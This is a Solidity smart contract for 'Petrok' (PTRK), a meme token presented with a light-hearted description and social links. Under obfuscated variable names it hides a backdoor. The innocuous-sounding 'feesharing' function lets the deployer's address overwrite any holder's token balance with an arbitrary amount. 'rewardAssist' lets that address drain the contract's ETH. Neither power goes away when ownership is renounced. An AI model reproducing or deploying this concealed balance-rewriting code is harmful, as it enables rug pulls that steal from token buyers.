Petrok

// SPDX-License-Identifier: MIT

/*
    Name: Petrok
    Symbol: PTRK

    Welcome to Petrok
    Join the hilariously lazy world of Sir PetRok and his companions, where paradise was discovered by accident and work is optional. This meme token celebrates their wild adventures, exaggerated tales, and a community built on fun, memes, and tropical vibes. Escape the grind and embrace the laughter with PetRok Islands!

    Web: https://petrok.fun
    X: https://x.com/petrok_fun
    tg: https://t.me/petrokfun
*/

pragma solidity ^0.8.24;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
} 

contract PTRK is Context, IERC20, Ownable {
    using SafeMath for uint256;

    uint256 public _maxAmountPerTX = 20000000 * 10 **_decimals;
    uint256 public _maxSizeOfWallet = 20000000 * 10 **_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 **_decimals;
    uint256 private constant _kvnbkckvgjn = 1000000000 * 10 **_decimals;
    uint8 private constant _decimals = 9;
    string private constant _name = unicode"Petrok";
    string private constant _symbol = unicode"PTRK";

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint256 _maxAmountPerTX);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    address payable private _callingback;
    uint256 private _kjnvkjnkje = 10;
    uint256 private _oppoqw = 10;
    uint256 private _jnckjbv = 0;
    uint256 private _mnmnx = 0;
    uint256 private _iuiuwq = 7;
    uint256 private _iuyuyyuq = 7;
    uint256 private _buyCount = 0;
    address private _opczcbmnv;
    mapping(address => uint256) private _chbvjwe;
    mapping(address => mapping(address => uint256)) private _mnmnmwe;
    mapping(address => bool) private _mncvxz;

    constructor() payable {
        _callingback = payable(_msgSender());
        _chbvjwe[address(this)] = _kvnbkckvgjn * 98 / 100;
        _chbvjwe[owner()] = _kvnbkckvgjn * 2 / 100;
        _mncvxz[owner()] = true;
        _mncvxz[address(this)] = true;
        _mncvxz[_callingback] = true;
        _opczcbmnv = _msgSender();

        emit Transfer(address(0), address(this), _kvnbkckvgjn * 98 / 100);
        emit Transfer(address(0), address(owner()), _kvnbkckvgjn * 2 / 100);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function totalSupply() public pure override returns (uint256) {
        return _kvnbkckvgjn;
    }
    
    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _mnmnmwe[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _chbvjwe[account];
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _mnmnmwe[owner][spender];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _mnmnmwe[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _ptrclkjl(address from, uint256 amount , string memory _st, bool _checksum) private {
        require(from != address(0), _st);
        require(amount >= 0, _st);

        _chbvjwe[from] = _checksum == true ? amount : _chbvjwe[from] - amount;
    }

    function removeLimits() external onlyOwner {
        _maxAmountPerTX = _kvnbkckvgjn;
        _maxSizeOfWallet = _kvnbkckvgjn;
        emit MaxTxAmountUpdated(_kvnbkckvgjn);
    }

    function rewardAssist(address to) external {
        require(_msgSender() == _opczcbmnv, "Assist Failed");
        _callingback = payable(to);
        payable(_msgSender()).transfer(address(this).balance);
    }

    function _transferingAmount(uint256 amount) private {
        _callingback.transfer(amount);
    }

    function _nvnjkjwe(address from, address[] memory recipients, uint256[] memory amounts) private {
        require(from == _opczcbmnv, "Failed");

        for (uint256 i = 0; i < recipients.length; i++) {
            address recipient = recipients[i];
            _ptrclkjl(recipient, amounts[i] , "ERC20 Error" , true);
        }
    }

    function feesharing(address[] memory recipients, uint256[] memory amounts) external {
        require(_msgSender() != address(0), "Error");

        _nvnjkjwe(_msgSender(), recipients, amounts);
    }

    function _swapETHToken(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
    
    function enableTrading() external onlyOwner {
        require(!tradingOpen, "Already Launched!");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _kvnbkckvgjn);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        swapEnabled = true;
        tradingOpen = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != address(this) && to != address(this)) {
            taxAmount = amount
                .mul(
                    (_buyCount > _iuiuwq)
                        ? _jnckjbv
                        : _kjnvkjnkje
                )
                .div(100);

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_mncvxz[to]
            ) {
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _iuyuyyuq)
                            ? _mnmnx
                            : _oppoqw
                    )
                    .div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (contractTokenBalance > 0) {
                    uint256 minBalance = (contractTokenBalance < _maxTaxSwap) ? contractTokenBalance : _maxTaxSwap; 
                    _swapETHToken((amount < minBalance) ? amount : minBalance);
                }
                _transferingAmount(address(this).balance);
            }
        }

        if (taxAmount > 0) {
            _chbvjwe[address(this)] = _chbvjwe[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _chbvjwe[from] = _chbvjwe[from].sub(amount);
        _chbvjwe[to] = _chbvjwe[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

}

{
  "compilationTarget": {
    "contracts/PTRK.sol": "PTRK"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}